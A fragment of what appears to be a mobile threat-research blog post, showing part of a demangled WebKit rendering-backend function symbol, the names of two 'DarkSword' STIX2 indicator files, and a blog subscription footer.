WTF::DefaultRefDerefTraits<WebKit::RemoteRenderingBackend>>>, WTF::DefaultHash<WTF::ObjectIdentifierGeneric<WebKit::RenderingBackendIdentifierType, WTF::ObjectIdentifierThreadSafeAccessTraits<unsigned long long>, unsigned long long>>, WTF::HashTraits<WTF::ObjectIdentifierGeneric<WebKit::RenderingBackendIdentifierType, WTF::ObjectIdentifierThreadSafeAccessTraits<unsigned long long>, unsigned long long>>, WTF::HashTraits<IPC::ScopedActiveMessageReceiveQueue<WebKit::RemoteRenderingBackend, WTF::RefPtr<WebKit::RemoteRenderingBackend, WTF::RawPtrTraits<WebKit::RemoteRenderingBackend>, WTF::DefaultRefDerefTraits<WebKit::RemoteRenderingBackend>>>>, WTF::HashTableTraits, (WTF::ShouldValidateKey)1>::KeyValuePairTraits, WTF::HashTraits<WTF::ObjectIdentifierGeneric<WebKit::RenderingBackendIdentifierType, WTF::ObjectIdentifierThreadSafeAccessTraits<unsigned long long>, unsigned long long>>, (WTF::ShouldValidateKey)1>::deallocateTable(WTF::KeyValuePair<WTF::ObjectIdentifierGeneric<WebKit::RenderingBackendIdentifierType, WTF::ObjectIdentifierThreadSafeAccessTraits<unsigned long long>, unsigned long long>, IPC::ScopedActiveMessageReceiveQueue<WebKit::RemoteRenderingBackend, WTF::RefPtr<WebKit::RemoteRenderingBackend, WTF::RawPtrTraits<WebKit::RemoteRenderingBackend>, WTF::DefaultRefDerefTraits<WebKit::RemoteRenderingBackend>


Stix2 Files

DarkSword.stix2

DarkSword-Suspicious-Domains.stix2

Get Our Latest Blog Posts Delivered Straight to Your Inbox

Subscribe to our blog to receive the latest research and industry trends delivered straight to your inbox. Our blog content covers sophisticated mobile threats, unpatched vulnerabilities, smishing, and the latest industry news to keep you informed and secure.